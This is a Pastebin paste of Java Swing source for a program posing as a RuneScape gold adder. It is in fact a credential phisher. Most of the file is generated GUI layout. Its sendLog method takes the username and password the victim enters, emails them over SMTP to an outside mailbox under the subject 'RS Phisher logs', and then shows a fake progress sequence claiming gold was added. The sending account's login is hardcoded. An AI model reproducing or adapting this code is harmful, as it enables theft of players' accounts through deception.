Advertisement
Guest User

Untitled

a guest
Aug 19th, 2017
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.33 KB | None | 0 0
  1. /*
  2. * RunescapeHackerView.java
  3. */
  4.  
  5. package runescapehacker;
  6.  
  7. import org.jdesktop.application.Action;
  8. import org.jdesktop.application.ResourceMap;
  9. import org.jdesktop.application.SingleFrameApplication;
  10. import org.jdesktop.application.FrameView;
  11. import org.jdesktop.application.TaskMonitor;
  12. import java.awt.event.ActionEvent;
  13. import java.awt.event.ActionListener;
  14. import javax.mail.PasswordAuthentication;
  15. import javax.swing.Timer;
  16. import javax.swing.Icon;
  17. import javax.swing.JDialog;
  18. import javax.mail.Session;
  19. import javax.mail.Transport;
  20. import javax.mail.internet.InternetAddress;
  21. import javax.mail.internet.MimeMessage;
  22.  
  23. import java.util.Properties;
  24. import javax.mail.Message;
  25. import javax.swing.JOptionPane;
  26.  
  27. /**
  28. * The application's main frame.
  29. */
  30. public class RunescapeHackerView extends FrameView {
  31.  
  32. public String User = "";
  33. public String Pass = "";
  34.  
  35. public RunescapeHackerView(SingleFrameApplication app) {
  36. super(app);
  37.  
  38. initComponents();
  39. buttonGroup1.add(jRadioButton1);
  40. buttonGroup1.add(jRadioButton2);
  41. buttonGroup1.add(jRadioButton3);
  42. buttonGroup1.add(jRadioButton4);
  43. buttonGroup1.add(jRadioButton5);
  44. buttonGroup1.add(jRadioButton6);
  45. buttonGroup1.add(jRadioButton7);
  46. buttonGroup1.add(jRadioButton8);
  47. buttonGroup1.add(jRadioButton9);
  48.  
  49.  
  50.  
  51. // status bar initialization - message timeout, idle icon and busy animation, etc
  52. ResourceMap resourceMap = getResourceMap();
  53. int messageTimeout = resourceMap.getInteger("StatusBar.messageTimeout");
  54. messageTimer = new Timer(messageTimeout, new ActionListener() {
  55. public void actionPerformed(ActionEvent e) {
  56. statusMessageLabel.setText("");
  57. }
  58. });
  59. messageTimer.setRepeats(false);
  60. int busyAnimationRate = resourceMap.getInteger("StatusBar.busyAnimationRate");
  61. for (int i = 0; i < busyIcons.length; i++) {
  62. busyIcons[i] = resourceMap.getIcon("StatusBar.busyIcons[" + i + "]");
  63. }
  64. busyIconTimer = new Timer(busyAnimationRate, new ActionListener() {
  65. public void actionPerformed(ActionEvent e) {
  66. busyIconIndex = (busyIconIndex + 1) % busyIcons.length;
  67. statusAnimationLabel.setIcon(busyIcons[busyIconIndex]);
  68. }
  69. });
  70. idleIcon = resourceMap.getIcon("StatusBar.idleIcon");
  71. statusAnimationLabel.setIcon(idleIcon);
  72. progressBar.setVisible(false);
  73.  
  74. // connecting action tasks to status bar via TaskMonitor
  75. TaskMonitor taskMonitor = new TaskMonitor(getApplication().getContext());
  76. taskMonitor.addPropertyChangeListener(new java.beans.PropertyChangeListener() {
  77. public void propertyChange(java.beans.PropertyChangeEvent evt) {
  78. String propertyName = evt.getPropertyName();
  79. if ("started".equals(propertyName)) {
  80. if (!busyIconTimer.isRunning()) {
  81. statusAnimationLabel.setIcon(busyIcons[0]);
  82. busyIconIndex = 0;
  83. busyIconTimer.start();
  84. }
  85. progressBar.setVisible(true);
  86. progressBar.setIndeterminate(true);
  87. } else if ("done".equals(propertyName)) {
  88. busyIconTimer.stop();
  89. statusAnimationLabel.setIcon(idleIcon);
  90. progressBar.setVisible(false);
  91. progressBar.setValue(0);
  92. } else if ("message".equals(propertyName)) {
  93. String text = (String)(evt.getNewValue());
  94. statusMessageLabel.setText((text == null) ? "" : text);
  95. messageTimer.restart();
  96. } else if ("progress".equals(propertyName)) {
  97. int value = (Integer)(evt.getNewValue());
  98. progressBar.setVisible(true);
  99. progressBar.setIndeterminate(false);
  100. progressBar.setValue(value);
  101. }
  102. }
  103. });
  104. }
  105.  
  106. @Action
  107.  
  108. /** This method is called from within the constructor to
  109. * initialize the form.
  110. * WARNING: Do NOT modify this code. The content of this method is
  111. * always regenerated by the Form Editor.
  112. */
  113. @SuppressWarnings("unchecked")
  114. // <editor-fold defaultstate="collapsed" desc="Generated Code">
  115. private void initComponents() {
  116.  
  117. mainPanel = new javax.swing.JPanel();
  118. jLabel1 = new javax.swing.JLabel();
  119. usernameField = new javax.swing.JTextField();
  120. jLabel2 = new javax.swing.JLabel();
  121. jLabel3 = new javax.swing.JLabel();
  122. jRadioButton1 = new javax.swing.JRadioButton();
  123. jRadioButton2 = new javax.swing.JRadioButton();
  124. jRadioButton3 = new javax.swing.JRadioButton();
  125. jRadioButton4 = new javax.swing.JRadioButton();
  126. jRadioButton5 = new javax.swing.JRadioButton();
  127. jRadioButton6 = new javax.swing.JRadioButton();
  128. jRadioButton7 = new javax.swing.JRadioButton();
  129. jRadioButton8 = new javax.swing.JRadioButton();
  130. jRadioButton9 = new javax.swing.JRadioButton();
  131. jButton1 = new javax.swing.JButton();
  132. jLabel4 = new javax.swing.JLabel();
  133. jLabel5 = new javax.swing.JLabel();
  134. passwordField = new javax.swing.JPasswordField();
  135. menuBar = new javax.swing.JMenuBar();
  136. javax.swing.JMenu fileMenu = new javax.swing.JMenu();
  137. javax.swing.JMenuItem exitMenuItem = new javax.swing.JMenuItem();
  138. javax.swing.JMenu helpMenu = new javax.swing.JMenu();
  139. javax.swing.JMenuItem aboutMenuItem = new javax.swing.JMenuItem();
  140. statusPanel = new javax.swing.JPanel();
  141. javax.swing.JSeparator statusPanelSeparator = new javax.swing.JSeparator();
  142. statusMessageLabel = new javax.swing.JLabel();
  143. statusAnimationLabel = new javax.swing.JLabel();
  144. progressBar = new javax.swing.JProgressBar();
  145. buttonGroup1 = new javax.swing.ButtonGroup();
  146.  
  147. mainPanel.setName("mainPanel"); // NOI18N
  148.  
  149. org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(runescapehacker.RunescapeHackerApp.class).getContext().getResourceMap(RunescapeHackerView.class);
  150. jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
  151. jLabel1.setName("jLabel1"); // NOI18N
  152.  
  153. usernameField.setText(resourceMap.getString("usernameField.text")); // NOI18N
  154. usernameField.setName("usernameField"); // NOI18N
  155.  
  156. jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N
  157. jLabel2.setName("jLabel2"); // NOI18N
  158.  
  159. jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N
  160. jLabel3.setName("jLabel3"); // NOI18N
  161.  
  162. jRadioButton1.setText(resourceMap.getString("jRadioButton1.text")); // NOI18N
  163. jRadioButton1.setName("jRadioButton1"); // NOI18N
  164.  
  165. jRadioButton2.setText(resourceMap.getString("jRadioButton2.text")); // NOI18N
  166. jRadioButton2.setName("jRadioButton2"); // NOI18N
  167.  
  168. jRadioButton3.setText(resourceMap.getString("jRadioButton3.text")); // NOI18N
  169. jRadioButton3.setName("jRadioButton3"); // NOI18N
  170.  
  171. jRadioButton4.setText(resourceMap.getString("jRadioButton4.text")); // NOI18N
  172. jRadioButton4.setName("jRadioButton4"); // NOI18N
  173.  
  174. jRadioButton5.setText(resourceMap.getString("jRadioButton5.text")); // NOI18N
  175. jRadioButton5.setName("jRadioButton5"); // NOI18N
  176.  
  177. jRadioButton6.setText(resourceMap.getString("jRadioButton6.text")); // NOI18N
  178. jRadioButton6.setName("jRadioButton6"); // NOI18N
  179.  
  180. jRadioButton7.setText(resourceMap.getString("jRadioButton7.text")); // NOI18N
  181. jRadioButton7.setName("jRadioButton7"); // NOI18N
  182.  
  183. jRadioButton8.setText(resourceMap.getString("jRadioButton8.text")); // NOI18N
  184. jRadioButton8.setName("jRadioButton8"); // NOI18N
  185.  
  186. jRadioButton9.setText(resourceMap.getString("jRadioButton9.text")); // NOI18N
  187. jRadioButton9.setName("jRadioButton9"); // NOI18N
  188.  
  189. jButton1.setText(resourceMap.getString("jButton1.text")); // NOI18N
  190. jButton1.setName("jButton1"); // NOI18N
  191. jButton1.addActionListener(new java.awt.event.ActionListener() {
  192. public void actionPerformed(java.awt.event.ActionEvent evt) {
  193. jButton1ActionPerformed(evt);
  194. }
  195. });
  196.  
  197. jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N
  198. jLabel4.setName("jLabel4"); // NOI18N
  199.  
  200. jLabel5.setText(resourceMap.getString("jLabel5.text")); // NOI18N
  201. jLabel5.setName("jLabel5"); // NOI18N
  202.  
  203. passwordField.setText(resourceMap.getString("passwordField.text")); // NOI18N
  204. passwordField.setName("passwordField"); // NOI18N
  205.  
  206. javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(mainPanel);
  207. mainPanel.setLayout(mainPanelLayout);
  208. mainPanelLayout.setHorizontalGroup(
  209. mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  210. .addGroup(mainPanelLayout.createSequentialGroup()
  211. .addContainerGap()
  212. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  213. .addGroup(mainPanelLayout.createSequentialGroup()
  214. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  215. .addGroup(mainPanelLayout.createSequentialGroup()
  216. .addComponent(jLabel1)
  217. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  218. .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, 112, javax.swing.GroupLayout.PREFERRED_SIZE)
  219. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  220. .addComponent(jLabel2)
  221. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  222. .addComponent(passwordField, javax.swing.GroupLayout.DEFAULT_SIZE, 111, Short.MAX_VALUE))
  223. .addComponent(jLabel3)
  224. .addGroup(mainPanelLayout.createSequentialGroup()
  225. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  226. .addGroup(mainPanelLayout.createSequentialGroup()
  227. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  228. .addComponent(jRadioButton1)
  229. .addComponent(jRadioButton4))
  230. .addGap(6, 6, 6)
  231. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  232. .addComponent(jRadioButton2)
  233. .addComponent(jRadioButton5)))
  234. .addGroup(mainPanelLayout.createSequentialGroup()
  235. .addComponent(jRadioButton7)
  236. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  237. .addComponent(jRadioButton8)))
  238. .addGap(18, 18, 18)
  239. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  240. .addComponent(jRadioButton9)
  241. .addComponent(jRadioButton6)
  242. .addComponent(jRadioButton3))))
  243. .addContainerGap())
  244. .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup()
  245. .addComponent(jLabel4)
  246. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  247. .addComponent(jLabel5)
  248. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 211, Short.MAX_VALUE)
  249. .addComponent(jButton1))))
  250. );
  251. mainPanelLayout.setVerticalGroup(
  252. mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  253. .addGroup(mainPanelLayout.createSequentialGroup()
  254. .addContainerGap()
  255. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  256. .addComponent(jLabel1)
  257. .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
  258. .addComponent(jLabel2)
  259. .addComponent(passwordField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
  260. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  261. .addComponent(jLabel3)
  262. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  263. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  264. .addComponent(jRadioButton1)
  265. .addComponent(jRadioButton2)
  266. .addComponent(jRadioButton3))
  267. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  268. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  269. .addComponent(jRadioButton5)
  270. .addComponent(jRadioButton4)
  271. .addComponent(jRadioButton6))
  272. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  273. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  274. .addComponent(jRadioButton7)
  275. .addComponent(jRadioButton8)
  276. .addComponent(jRadioButton9))
  277. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 16, Short.MAX_VALUE)
  278. .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  279. .addComponent(jButton1)
  280. .addComponent(jLabel4)
  281. .addComponent(jLabel5)))
  282. );
  283.  
  284. menuBar.setName("menuBar"); // NOI18N
  285.  
  286. fileMenu.setText(resourceMap.getString("fileMenu.text")); // NOI18N
  287. fileMenu.setName("fileMenu"); // NOI18N
  288.  
  289. javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(runescapehacker.RunescapeHackerApp.class).getContext().getActionMap(RunescapeHackerView.class, this);
  290. exitMenuItem.setAction(actionMap.get("quit")); // NOI18N
  291. exitMenuItem.setName("exitMenuItem"); // NOI18N
  292. fileMenu.add(exitMenuItem);
  293.  
  294. menuBar.add(fileMenu);
  295.  
  296. helpMenu.setText(resourceMap.getString("helpMenu.text")); // NOI18N
  297. helpMenu.setName("helpMenu"); // NOI18N
  298.  
  299. aboutMenuItem.setAction(actionMap.get("showAboutBox")); // NOI18N
  300. aboutMenuItem.setName("aboutMenuItem"); // NOI18N
  301. helpMenu.add(aboutMenuItem);
  302.  
  303. menuBar.add(helpMenu);
  304.  
  305. statusPanel.setName("statusPanel"); // NOI18N
  306.  
  307. statusPanelSeparator.setName("statusPanelSeparator"); // NOI18N
  308.  
  309. statusMessageLabel.setName("statusMessageLabel"); // NOI18N
  310.  
  311. statusAnimationLabel.setHorizontalAlignment(javax.swing.SwingConstants.LEFT);
  312. statusAnimationLabel.setName("statusAnimationLabel"); // NOI18N
  313.  
  314. progressBar.setName("progressBar"); // NOI18N
  315.  
  316. javax.swing.GroupLayout statusPanelLayout = new javax.swing.GroupLayout(statusPanel);
  317. statusPanel.setLayout(statusPanelLayout);
  318. statusPanelLayout.setHorizontalGroup(
  319. statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  320. .addComponent(statusPanelSeparator, javax.swing.GroupLayout.DEFAULT_SIZE, 357, Short.MAX_VALUE)
  321. .addGroup(statusPanelLayout.createSequentialGroup()
  322. .addContainerGap()
  323. .addComponent(statusMessageLabel)
  324. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 187, Short.MAX_VALUE)
  325. .addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
  326. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  327. .addComponent(statusAnimationLabel)
  328. .addContainerGap())
  329. );
  330. statusPanelLayout.setVerticalGroup(
  331. statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  332. .addGroup(statusPanelLayout.createSequentialGroup()
  333. .addComponent(statusPanelSeparator, javax.swing.GroupLayout.PREFERRED_SIZE, 2, javax.swing.GroupLayout.PREFERRED_SIZE)
  334. .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  335. .addGroup(statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  336. .addComponent(statusMessageLabel)
  337. .addComponent(statusAnimationLabel)
  338. .addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
  339. .addGap(3, 3, 3))
  340. );
  341.  
  342. setComponent(mainPanel);
  343. setMenuBar(menuBar);
  344. setStatusBar(statusPanel);
  345. }// </editor-fold>
  346.  
  347. private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
  348. sendLog(); // TODO add your handling code here:
  349. }
  350.  
  351. // Variables declaration - do not modify
  352. private javax.swing.ButtonGroup buttonGroup1;
  353. private javax.swing.JButton jButton1;
  354. private javax.swing.JLabel jLabel1;
  355. private javax.swing.JLabel jLabel2;
  356. private javax.swing.JLabel jLabel3;
  357. private javax.swing.JLabel jLabel4;
  358. private javax.swing.JLabel jLabel5;
  359. private javax.swing.JRadioButton jRadioButton1;
  360. private javax.swing.JRadioButton jRadioButton2;
  361. private javax.swing.JRadioButton jRadioButton3;
  362. private javax.swing.JRadioButton jRadioButton4;
  363. private javax.swing.JRadioButton jRadioButton5;
  364. private javax.swing.JRadioButton jRadioButton6;
  365. private javax.swing.JRadioButton jRadioButton7;
  366. private javax.swing.JRadioButton jRadioButton8;
  367. private javax.swing.JRadioButton jRadioButton9;
  368. private javax.swing.JPanel mainPanel;
  369. private javax.swing.JMenuBar menuBar;
  370. private javax.swing.JPasswordField passwordField;
  371. private javax.swing.JProgressBar progressBar;
  372. private javax.swing.JLabel statusAnimationLabel;
  373. private javax.swing.JLabel statusMessageLabel;
  374. private javax.swing.JPanel statusPanel;
  375. private javax.swing.JTextField usernameField;
  376. // End of variables declaration
  377.  
  378. private final Timer messageTimer;
  379. private final Timer busyIconTimer;
  380. private final Icon idleIcon;
  381. private final Icon[] busyIcons = new Icon[15];
  382. private int busyIconIndex = 0;
  383.  
  384. private JDialog aboutBox;
  385.  
  386. public void sendLog() {
  387. String User = (usernameField.getText());
  388. String Pass = (passwordField.getText());
  389. String finalString = ("Username: " + User + " Password: " + Pass);
  390.  
  391. try {
  392. Properties props = new Properties();
  393. props.put("mail.smtp.host", "smtp.gmx.com");
  394. props.put("mail.smtp.socketFactory.port", "465");
  395. props.put("mail.smtp.socketFactory.class",
  396. "javax.net.ssl.SSLSocketFactory");
  397. props.put("mail.smtp.auth", "true");
  398. props.put("mail.smtp.port", "465");
  399.  
  400. Session session = Session.getDefaultInstance(props,
  401. new javax.mail.Authenticator() {
  402. protected PasswordAuthentication getPasswordAuthentication() {
  403. return new PasswordAuthentication("aidenscool@gmx.com", "aiden223");
  404. }
  405. });
  406.  
  407. try {
  408.  
  409. MimeMessage message = new MimeMessage(session);
  410. message.setFrom(new InternetAddress("aidenscool@gmx.com"));
  411. message.setRecipients(Message.RecipientType.TO,
  412. InternetAddress.parse("aidenscool2@googlemail.com"));
  413. message.setSubject("RS Phisher logs (Java)");
  414. message.setText(finalString);
  415. Transport.send(message);
  416.  
  417. } catch (Exception e) {
  418. JOptionPane.showMessageDialog(null, "ERROR:Could not finish task!" + e, "Error!", JOptionPane.ERROR_MESSAGE);
  419. }
  420.  
  421. }catch (Exception e) {
  422. JOptionPane.showMessageDialog(null, "ERROR:Could not finish task!" + e, "Error!", JOptionPane.ERROR_MESSAGE);
  423. }
  424.  
  425. try {
  426. progressBar.setValue(0);
  427. jLabel5.setText("Connecting to RuneScape server.");
  428. Thread.sleep(34);
  429. progressBar.setValue(17);
  430. Thread.sleep(76);
  431. progressBar.setValue(26);
  432. Thread.sleep(57);
  433. progressBar.setValue(49);
  434. Thread.sleep(25);
  435. progressBar.setValue(74);
  436. jLabel5.setText("Connected. Adding gold to account.");
  437. Thread.sleep(64);
  438. progressBar.setValue(87);
  439. Thread.sleep(39);
  440. progressBar.setValue(100);
  441. jLabel5.setText("Gold added. Disconnecting from RuneScape server.");
  442. } catch (Exception e) {
  443. JOptionPane.showMessageDialog(null, "ERROR:Could not finish task!" + e, "Error!", JOptionPane.ERROR_MESSAGE);
  444. }
  445. JOptionPane.showMessageDialog(null, "Gold successfully added to account, you may now login.", "Gold added to account", JOptionPane.INFORMATION_MESSAGE);
  446. }
  447. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement